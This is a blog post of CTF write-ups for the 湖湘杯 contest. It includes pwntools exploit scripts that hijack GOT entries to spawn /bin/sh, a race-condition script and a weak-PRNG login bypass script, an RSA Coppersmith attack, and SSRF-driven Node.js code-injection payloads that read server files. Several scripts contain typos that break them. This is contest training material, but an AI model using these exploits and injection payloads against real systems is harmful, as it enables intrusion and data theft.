MENU

湖湘杯 writeup

February 7, 2017 • Read: 9696 • CTF

1 题目名 Pwnme

栈溢出,可以看到存在 get_flag() 函数,构造 payload 调用它即可。
input your choice 处填入 0xA4 个字节后可以溢出,然后更改指针到 get_flag() 处。

from pwn import *
p = remote('114.215.43.119', 10001)
p.sendline('5')
payload = 'A'*0xa4 + 'B'*0x04 +  p32(0x8048677)  
p.sendline(payload)
p.interactive()

pwnme1

2 题目名 MyBlog

/admin/index 处有登录,username 处可以注入,回显在 set-cookie 处。order by 34 回显不同,union select 1,2,3-- 看到 2 出现,在 flag 表中看到flag。

注入登录处

3 题目名 note

EditNote 方法中的 v7strncat(dest, (const char *)v7 + 15, 0xFFFFFFFFFFFFFFFFLL); 中被覆盖,v7 会被 free。
查看内存布局,Lnameptr 前 64 bytes。
Lname 尾部设置为虚假的申请的内存块参数,v7 指向 ptr[0]ptr[0] 将被 free。
这时候 addnote,新 malloc 的内存位置将是 ptr
ptr[0] 写入 atoi 函数重定向表位置。
可以通过 readNoteatoi 真实位置读出。
通过给定的 libc 得知 system 函数与 atoi 偏移。
使用 editNotereplace 模式将 atoi 重定向表中地址指向 system,接下来程序执行的 atoi 将变为 system,写入 sh 与之交互。

from pwn import *
 
# t = process('./note')
t = remote('114.215.220.77',10001)
 
def add_note(length, a):
    t.recvunitl('--->>')
    t.sendline('1')
    t.recvunitl(':')
    t.sendline(str(length))
    t.recvunitl(':')
    t.sendline(a)
     
def edit_insert(id, a):
    t.recvunitl('--->>')
    t.sendline('3')
    t.recvunitl('id')
    t.sendline(str(id))
    t.recvunitl('append')
    t.sendline('2')
    t.recvunitl(':')
    t.sendline(a)
     
def edit_rewrite(id, a):
    t.recvunitl('--->>')
    t.sendline('3')
    t.recvunitl('id')
    t.sendline(str(id))
    t.recvunitl('append')
    t.sendline('1')
    t.recvunitl(':')
    t.sendline(a)
     
def show_note(id):
    t.recvunitl('--->>')
    t.sendline('2')
    t.recvunitl('id')
    t.sendline(str(id))
    t.recvunitl('is ')
    atoi_addr = u64(t.recvline().strip('\n').ljust(8, '\x00'))
    return atoi_addr
 
def main():
    t.recvunitl('name')
    t.sendline('d'*0x30 + p64(0) + p64(0x70))
    t.recvunitl('address:')
    t.sendline(p64(0) + p64(0x70))
    add_note(128, 'd'*94)
    edit_insert(0, 'f'*33 + 'c' + p32(0x6020E0+0x40)
    add_note(0x60, p64(0x602088)   # ptr addr
    atoi_addr = show_note(0)
    base = atoi_addr - 0x36e80
    # print hex(base)
    system = base + 0x45390
    # print hex(system)
    edit_rewrite(0, p64(system))
    t.recvunitl('--->>')
    t.sendline('/bin/sh')
    t.interactive()
     
if __name__ == '__main__':
    main()

3.png

4 题目名 ASCII字符图库

扫目录发现有备份文件,可以获取源码,http://106.14.79.226/login.php.bakhttp://106.14.79.226/register.php.bak
在 login.php 中存在条件竞争。

$uid = $row['id'];
$sql = "SELECT isRestricted from privs where userid='$uid' and isRestricted=TRUE;";
$result = mysqli_query($conn, $sql);
$row = $result->fetch_assoc();
if($row['isRestricted']){
        ?>
        <h2>此账户限制登录</h2>
 
        <?php
}else{
        ?>
        <h2><?php include('../flag');?></h2>
        <?php
 
}

跳到 else 分支的时候直接包含 flag,暴力发包跑一下。

import requests
import threading
 
 
def register(data):
    re1 = requests.post(url='http://139.196.164.190/register.php', data=data)
    print re1.content
 
 
def login(data):
    re2 = requests.post(url='http://139.196.164.190/login.php', data=data)
    print re2.content
    if 'flag' in re2.content:
        print 'success!!!'
 
 
def main():
    for i in range(50):
        username = 'hackeee' + str(i)
        password = '123'
        data = {'username': username, 'password': password}
        t1 = threading.Thread(target=register, args=(data,))
        t2 = threading.Thread(target=login, args=(data,))
        t1.start()
        t2.start()
 
        t1.join()
        t2.join()
 
if __name__ == '__main__':
    main()

可以照抄HCTF的脚本了。

4.jpg

5 题目名 简单的RSA

分析题目源代码,发现已知 $e$, $d$, $n$。
因为 $e \times d - 1 = k \times \varphi(n)$,而 $\varphi(n) = (p-1) \times (q-1)$,可以猜测 $\varphi(n)$ 和 $n$ 位数相同,通过遍历 $k$ 可以得到一个和 $n$ 接近的 $\varphi(n)$。

5.png

已知 $n$ 和 $\varphi(n)$,可以用构造一个一元二次方程,求出 $p$, $q$。

6.png

7.png

然后新的 $p$ 和 $q$ 的高 2048-900 比特与 $p$, $q$ 一致,已知。故可以利用格基归约的方法,使用推广的 coppersmith 攻击。SageMath代码如下:

n = 0x73cec712124b33c0294e01eb52e8c3cd2fe9ddbcbf457b3b950360063dfae42cbbe9855bd986bcfea0948fadfb252f5e2ff3c982ff47afb6596a496636f1fc5ecfe9f5db7620b23fe9e30d230aa9299ab9a78bfb5e0630fd1149259b2b2104ea65d2e27b89785e4bf01d0594d9f94575cbcc3383f63c5aabe4d5b48eb761cce3ab21689b3f3155b5f15efee240d5ac11cee2acbd019de7c06f607ea618b5cd735b5a6972d2b446a12ff58cf8314822fa5ea09d0963acd00441b2a1b37aca01d7f39052927db98a0bd5ca1c49a7ad67923e3aac30ecd33cc8b4b30a40cdb3acc721ee5da53a02977cee959affe672a668525eb78df96af0a14f4ac04fab68efa8eabe9535e1064a5fc2ff7cac9520210311db0c3bf91101bc55a67a81e4f69364c724ee6ad6bdc301df642c9392e9befa4ff0d65481adb6feac251cd207044587da9710809700246cb3c63e659a97249f5e7418568e37db2fb2c1115e719d6682bb2e89b4e23d40ba4c532f289e10e0b89a5647c486a09b9e376844171b229d74f871004d4945a702a391a04ac704f43809e972891e6ab33b3c0f03f0b6f9ae005b26be6e647a1865c727277423f59a595187ffbfea13501e23b6b57ef115eaa6febcb207a3112628652a39578847241c33989e84607b0f683b30ddf773348b07360b063d9120a397809591ca18a04cd32ad9cbfe0494ed3ae8d2c5b43fdb51cbL
p_fake = 25469341510015610710601677541490068882874022771473379147959682877979811860690835905177575433486769235926750944378553837429714908846121392087707617153368450157831411033840331452402635316893579428297241392591768100008774205252294780519995317089863801331600746389471563346749402400584048767782402832414560955794979239140648096754408560344380360521300295416056532504527346890878830708030202503589314586128121926254376071861981570648841288044240102936057199541504839050994656267226010545841307490110261343492485615893311098351703701000220286503350522201318815497988460167971677642567134161349144833221240627311534482202273L
 
 
 
 
pbits = 2048
kbits = 900
pbar = p_fake & (2^pbits-2^kbits)
print "upper %d bits (of %d bits) is given" % (pbits-kbits, pbits)
 
PR.<x> = PolynomialRing(Zmod(n))
f = x + pbar
 
x0 = f.small_roots(X=2^kbits, beta=0.4)[0]  # find root < 2^kbits with factor >= n^0.3
print x0 + pbar

然后用在线的SageMath服务器SageMathCell跑一下。

8.png

求出了新 $p$,因为已知新 $n$,那么新 $q$ 也已知了。
那么新 $\varphi(n)$ 也已知了,对 $e$ 关于新 $\varphi(n)$ 求个逆即得脱密密钥 $d$。

n=0x73cec712124b33c0294e01eb52e8c3cd2fe9ddbcbf457b3b950360063dfae42cbbe9855bd986bcfea0948fadfb252f5e2ff3c982ff47afb6596a496636f1fc5ecfe9f5db7620b23fe9e30d230aa9299ab9a78bfb5e0630fd1149259b2b2104ea65d2e27b89785e4bf01d0594d9f94575cbcc3383f63c5aabe4d5b48eb761cce3ab21689b3f3155b5f15efee240d5ac149318ff80bd72a75fccdc57402aa197b472d98758019df8e9edb31bda82967dc66bcad845df824775eeb66ee304664d7929e8405122f9b0a5406887729dbe9760eb62dd7018087723c07c07082d1d51035fb211a9fc6d8fb5b3ee5bb91af5e3d0b89addce289041a5683a1fe7dc06a3bae283062ba3febdd987b5ac9b9a8ae4b8b02b804accc0a413bb144680fd8d0d8d8bebe176e5a9121f7653c31ede984d234ccce50e688f7048a0bfdfc84004c006ae912c4d4e514c200883e8dabaeb4bf57a5f628eb4bd2e6688d9b7688bc3eed4ce03831be5044dedbd5fddc43a3274b26c990a0e444fcf4a607de59c4906dfd1ea111920c38b4a365c5838e9cf1a22b146aa7afbc6e2e29ebe35aee4bf4d2fbe186c0f359c71f80b8f6298ad38619168d5986a857f558017c546d6df896c690896601aabd48398e957b77ef0e15d6cda339050b74cda3328c34c889306d089efc95ff467a4a775d3e104642cd9819f002b5db8c5f39b4e8d1a83007276b8a0b7L
e=0x10001
d= 0x37f2646fd190ad1e9f95c50d97cf4590a21e1c766bfd382cafafa2bb41442ce9839aac47944e288de6abfec1b17be4675f492a47f3e600f85a3823df9299d32f46c8a372f39d961f9471914e257f55cf1ef3d7878783fc34b61e1d61da332879c8d9597b0f0dac988916ac349e1d73b615cfbfef778ceeccee4f63dc32b1b7d7213c9199b6acb1d8a5141c94d777a29b89f8e0aea457788eaa9ca43626a24c74ebab355c89e3747626d4899745d148500c91416c782f2b30c9332f5cd32a4d3144d2a407ce9acc00f99dc619d425586285350cff734cdba9d4fad636d7fcbabfa382965005d8343e36ffe72604e557bae5044435ad990b6dca6d922e64387cee4abc0574d2eeeb42dda977be1e1064f6a6b00e78db75a7bf8e6e0c2ac3c6a52b2e6670cad3c907d990e53a7a311ef7b097c7644ff6f2bf96573e47d33031eeabf22620bdbc254a8fff8b0fa6f90d320c45e8d9094c26401f78560e16f77d6e09bc219c9849f1b68dc84ed36eb0cec7df16c4672c16a6b704ef2185ce04539f08688b72d48f9491e55be0095ee74f9622e8ae6835381e2efcd520cd02d1eeeb09bc11ab75bc903053102bc92718f2bf8691561a40026e53e950674f712aaef8cc69360df54c1af8b1f4aef997371b8a108e9b193a51002fe8d61f3991153e7ebd9593d68cd03b2f252c3d9d7a5bf802dcd150bd86028bd3b07cb415b767d716c1L
new_n=0x73cec712124b33c0294e01eb52e8c3cd2fe9ddbcbf457b3b950360063dfae42cbbe9855bd986bcfea0948fadfb252f5e2ff3c982ff47afb6596a496636f1fc5ecfe9f5db7620b23fe9e30d230aa9299ab9a78bfb5e0630fd1149259b2b2104ea65d2e27b89785e4bf01d0594d9f94575cbcc3383f63c5aabe4d5b48eb761cce3ab21689b3f3155b5f15efee240d5ac11cee2acbd019de7c06f607ea618b5cd735b5a6972d2b446a12ff58cf8314822fa5ea09d0963acd00441b2a1b37aca01d7f39052927db98a0bd5ca1c49a7ad67923e3aac30ecd33cc8b4b30a40cdb3acc721ee5da53a02977cee959affe672a668525eb78df96af0a14f4ac04fab68efa8eabe9535e1064a5fc2ff7cac9520210311db0c3bf91101bc55a67a81e4f69364c724ee6ad6bdc301df642c9392e9befa4ff0d65481adb6feac251cd207044587da9710809700246cb3c63e659a97249f5e7418568e37db2fb2c1115e719d6682bb2e89b4e23d40ba4c532f289e10e0b89a5647c486a09b9e376844171b229d74f871004d4945a702a391a04ac704f43809e972891e6ab33b3c0f03f0b6f9ae005b26be6e647a1865c727277423f59a595187ffbfea13501e23b6b57ef115eaa6febcb207a3112628652a39578847241c33989e84607b0f683b30ddf773348b07360b063d9120a397809591ca18a04cd32ad9cbfe0494ed3ae8d2c5b43fdb51cbL
enc_flag=0x3b0487110b2d61683fc9e65717d6431281c25ceda38915c9c2ff16013066e8cbe9d5f6c1f05988333d96e861f1b216f85d537aa70f603b3d20487a18c5e0d3a03556be88f984f508803f4bb25300149e805204c91f7aea038e545cf588a29bcb20113f81b16d9aacdbd820aa48615a5227ab2f329423da0a254c8f318dff4a7b75cf48e5ac18abc2975fee111ee56297fd7778b49320f6427227f21c08391d7429c49b399c366db38467a339229048e50735dff071bf89dbbab22997071a6b5a16935f5b65032f2cefb9c670cddd1470f6bf16d7c46d0fff22b82b2c1d867f4faa60e5daaad35a15ac0413a17beb5371a06f22c646336ae5e5738cfc5e997860056fb8bf1e02f27031ecd2b7983df510c4cdebbc644ea49e99e2376b89a90be8c89e4995c6689cc39d01fcc8ffef416e49684c0a01fdffab4613cb8eddbfa9e14d9b2daca6ad57c4e440a049d04b915ecfd64095c549bb9d22fb502a740a7373c1961c8cb7a58604bcbca3e5a97e28d5f498061db7cfbf07085ec84f47856e88992ab08870cbdb050431260861d0bcc9bbdf9a4164b8581f1f67e86ab854db1769418e300d73cf902509c76969473d0ee1b70c3b24085942fa9782507b359ffe049b18832610b4555b9bfe8eeae14cec53ab21881475f81069a6a33d6e38e3825eeb13874da8f0c91160712090a092286ea3838d88020e459f795783ad099367L
 
 
p = 25469341510015610710601677541490068882874022771473379147959682877979811860690835905177575433486769235926750944378553837429714908846121392087707617153368450157831411033840331452402635316893579428297241392591768100008774205252294780519995317089863801331600746389471563346749402400584048767782402832414560955794979239140648096754408560344380360521300295416056532504527346890878830708030202503589314586128121926254376071861981570648841288044240102936057199541504839050994656267226010545841307490110261343492485615893311098351703701000220286503350522201318815497988460167971677642567134161349144833221240627311534482202273L
q = 18549922009255682065873541075490523694236993018017378711472390294347289738564184852893543842874884431799749016007575801573141434444916044586366999351488315491792727433264614393421339756775694364361870792935536914730184638908553444398548728815983615033645725832510366617312824482715041572565651201973381892649356584003444436598024263892174846508030188237071677814016044004832440289894928290725654672618489148762420471282901956872617107075453840794524807351894754626817085978425574873605883098036587598323071317767994487432181224109477252086528459769424114149210975886656634032363487078722904015201345359534672812718167L
 
print n % p
 
new_p=25469341510015610710601677541490068882874022771473379147959682877979811860690835905177575433486769235926750944378553837429714908846121392087707617153368450157831411033840331452402635316893579428297241392591768100008774205252294780519995317089863801331600746389471563346749402400584048767782402832414560955794979239140648096754408560344380360521296949892303389907769736015934314142003630949305013818258320986061050152391749744927750414406456844331212916757252664106717050422177732254023115330564252024804793822784448052701331761297133645421217718332137034826156560496020813364370285769780848619094541636625925906815949
new_q=new_n / new_p
 
def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
        g, y, x = egcd(b % a, a)
        return (g, x - (b // a) * y, y)
 
def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
        raise Exception('modular inverse does not exist')
    else:
        return x % m
     
d=modinv(e,(new_p-1)*(new_q-1))
m=pow(enc_flag,d,new_n)
print hex(m)[2:-1].decode("hex")

9.png

6 题目名 login

pyinstaller 打包的 exe,运行解包程序,并没有发现什么有用信息。在它运行后 Temp 目录下生成的几个 dll 中,发现 python35.dll 有 upx 壳,去壳后可看到部分代码。
用 ida 打开 dump 文件,可以看到 Congratulations 字符串,跟进到相关代码。

10.png

16 字节数组和索引异或可得到 flag。

a = '50 78 76 6B 34 6B 59 63 49 56 6C 4A 53 65 4F 3F'.split(' ')
flag = []
for i in range(len(a)):
    flag.append(int(a, 16) ^ i)
 
print ''.join(map(chr, flag))

11.png

7 题目名 shell

用 UE 打开文件,将头部 HXB_REVERSE 改成 Go build ID,upx 解压,一个一个函数慢慢查,可以得知输入为 16 位,程序简单地将输入与文件结尾 -48 ~ -64 字节异或后与常数对比,不一致则返回失败,即可逆推输入。

12.png

将解压前 shell 文件最后 40 字节内容改写解压后文件后 40 字节,便于调试。

13.png

14.png

8 题目名 game

Buy_weapon 时 new 一个 buffer,将武器属性,攻击函数等拷贝进去,并将这个 buffer 交给了 playerInfo。
Attack_boss 时,简单的调用 playerInfo 中的武器中的攻击函数
此攻击函数可被控制:
攻击函数中检测自身的使用次数,在最后一次使用完毕后会 free 自身。
comment_game 中,malloc 的 buffer 大小与武器 buffer 相同,武器被 free 后,执行 comment_game 时,malloc 的缓冲与 weapon 信息在同一位置,可以借此覆写调用的攻击函数。
通过 comment_game,填充 16 字节 ascii 字符,show_weapon 时,可以读取到攻击函数的地址,可由此计算出程序基址。
替换攻击函数为 printf,以泄露 glibc,
获取到 system 地址后,覆写攻击函数,写入 sh 与之交互。

from pwn import *
 
# t = './game'
t = remote('114.215.41.146', 10001)
 
def warehouse(count):
    t.recvuntil('$')
    t.sendline('build_warehouse')
    t.recvuntil('want have?\n')
    t.sendline(str(count))
 
def buy(name, tid):
    t.recvuntil('$')
    t.sendline('buy_weapon')
    t.recvuntil('buy?\n')
    t.sendline(name)
    t.recvuntil('weapon?\n')
    t.sendline(str(tid))
 
def show(tid):
    t.recvuntil('$')
    t.sendline('show_weapon')
    t.recvuntil('warehouse\n')
    t.sendline(str(tid))
 
def attack(tid):
    t.recvuntil('$')
    t.sendline('attack_boss')
    t.recvuntil('warehouse\n')
    t.sendline(str(tid))
 
def comment(co-buff):
    t.recvuntil('$')
    t.sendline('comment')
    t.recvuntil('?\n')
    t.send(co-buff)
 
printf_plt = 0
 
def leak_addr(addr):
    global printf_plt
    co-buff = ''
    co-buff += '%%%d$s.' % (7)
    co-buff = co-buff.ljust(16, '\x00')
    co-buff += p32(printf_plt)
    co-buff += '\n'
    comment(co-buff)
    show(0)
    t.sendline('attack_boss')
    t.recvuntil('warehouse\n')
    payload = ''
 
    payload += '0'* 0x04
    payload += p32(addr)
    t.sendline(payload)
    data = p recv(4)
    back_addr = u32(data[:4])
    return back_addr
 
def main():
    global printf_plt
 
    t.recvuntil('name?\n')
    t.sendline('xt')
    warehouse(3)
    buy('UMP45', 0)
    attack(0)
    attack(0)
    attack(0)
    show(0)
 
    co-buff = ''
    co-buff += 'd' * 0x16 + '\n'
    comment(co-buff)
    show(0)
    t.recvuntil('Weapon name: ')
    t.recv(16)
    data = t.recvuntil('price:')[:-7]
 
    addr = u32(data[:4].ljust(4, '\x00'))
    proc_addr = addr - 0x1287
 
    # print hex(proc_addr)
    atoi_got = 0x0000215c + proc_addr
    printf_got = 0x00002124 + proc_addr
    atoi_plt = 0x000007f0 + proc_addr
 
    puts_plt = 0x00000780 + proc_addr
    show_weapon_func = 0x1287 + proc_addr
    printf_plt = 0x00000710 + proc_addr
 
    offset_atoi = 0x2fbb0
 
    atoi_addr = leak_addr(atoi_got)
    printf_addr = lead_addr(printf_got)
    offset_system = 0x3e800
 
    libc_base = atoi_addr - offset_atoi
    system_addr = libc_base + offset_system
 
    co-buff = ''
    co-buff += '/bin/sh;'
    co-buff = co-buff.ljust(16, '\x00')
    co-buff = ""
    co-buff += "/bin/sh;"
    co-buff = co-buff.ljust(16, '\x00')
    co-buff += p32(system_addr)
    co-buff += "\n"
    comment(co-buff)
    p.sendline("attack_boss")
    p.recvuntil("warehouse\n")
    payload = ""
    payload += "0"
    p.sendline(payload)
 
    p.interactive()
 
if __name = '__main__':
    main()

15.png

9 题目名 White & black(From Team FFF提莫)

www.rar 源码泄露,Function.php auth 函数中有问题。

16.png

如果登录的用户名未存在,传入的密码和生成的 4 位随机数进行了比较。再看 RandomStr 函数:

17.png

弱随机类型,可预测随机数,前提是得知道之前生成的随机数,不过可以请求几次 login.php 所生成的 csrfToken 保存。
当预测随机数成功后,返回的值会赋给 useridtrue

18.png

#!/usr/bin/python
# -*- coding: UTF-8 -*-
 
import random
import requests
import re
import string
 
chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
url = 'http://114.215.220.241'
 
s = requests.session()
s.headers = {
        "User-Agent":
            "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.63 Safari/537.36"
    }
 
 
def ToNum(s):
    return [chars.find(i) for i in s]
 
def ToChar(s):
    return ''.join([chars for i in s])
 
def Random(n):
    return ''.join(random.choice(string.letters+string.digits) for _ in range(n))
 
def CsrfToken():
    loginUrl = url + '/login.php'
    s.headers['Cookie'] = "PHPSESSID={};".format(Random(16))
    res = s.get(loginUrl).content
    txt = re.search(r'id="csrfToken" value=(\w+)', res)
    if txt:
        return txt.group(1)
    else:
        return
 
def CrackToken():
    rand = []
    predict = []
 
    for i in range(2):
        nums = ToNum(CsrfToken())
        rand.extend(nums)
 
    loginToken = CsrfToken()
    rand.extend(ToNum(loginToken))
 
    for i in range(len(rand),len(rand)+4):
        rand.append((rand[i-31] + rand[i-3]) % len(chars))
    predict.extend(rand[-4:])
 
    predictToken = ToChar(predict)
    return loginToken, predictToken
 
if __name__ == '__main__':
    cLoginUrl = url + '/checkLogin.php'
 
    while 1:
        loginToken, predictToken = CrackToken()
 
        username = 'tgbdsf'
        payload = {
            'username': username,
            'password': predictToken,
            'csrfToken': loginToken,
            'submit': 'Login'
        }
 
        cookies = {
            "PHPSESSID=": Random(32)
        }
 
        res = s.post(cLoginUrl , data=payload, cookies=cookies).content
 
        if 'success' in res:
            print s.headers['Cookie']
            break

访问 admin.php,上传图片。

19.png

发现一处疑似 ssrf 接口,Fuzz 文件泄露。

20.png

21.png

发现文件泄露。

22.png

发现敏感接口,测试发现为截图功能。

23.png

24.png

25.png

探测截图功能是什么后端实现的,这里可以发现 js 引擎的提示字眼,考虑是 nodejs 的代码注入。考虑闭合等情况后测试一下。

Payload:
api.1nt3rfac3.com/api.php?filename=test&url=http://27.126.180.187:7890'; page.settings.userAgent = 'test'; // d

由于是 ssrf 二次请求,所以存在空格的地方需要双次编码,其他地方一次编码。

26.png

Ua 发现测试成功,接下来注入 nodejs 代码进行文件相关操作,通过 ls,读取 api.php,读取一模板代码操作可获取 flag,payload和过程如下

Payload可从这里获取

/getImg.php?img=api.1nt3rfac3.com/api.php?filename=tdt&url=http://27.126.x.x:7890';var fs=require('fs');var ua="";var p=".";var l=fs.list(p);for(var x=0;x<l.length;x++){ua+=l[x]+";"};page.settings.userAgent=ua;//s

27.png

/getImg.php?img=api.1nt3rfac3.com/api.php?filename=tdt&url=http://27.x.x:7890';var fs=require('fs');var ua=btoa(fs.read('api.php'));page.settings.userAgent=ua; // s

28.png

29.png

/getImg.php?img=api.1nt3rfac3.com/api.php?filename=tdt&url=http://27.126.180.187:7890';var fs=require('fs');var ua=btoa(fs.read('.202f94ca1359a510bb630d429a1048fa4e2bab85'));page.settings.userAgent=ua; // s

30.png

题目文件:http://pan.baidu.com/s/1o7CQGSM 密码: 29yf

Last Modified: July 3, 2017
Archives QR Code
QR Code for this page
Tipping QR Code
Leave a Comment

3 Comments
  1. Eb0ny Eb0ny

    你好,题目的百度云链接过期了,可以再分享一下吗

    1. @Eb0ny链接已经更新。

    2. Eb0ny Eb0ny

      @40huo谢谢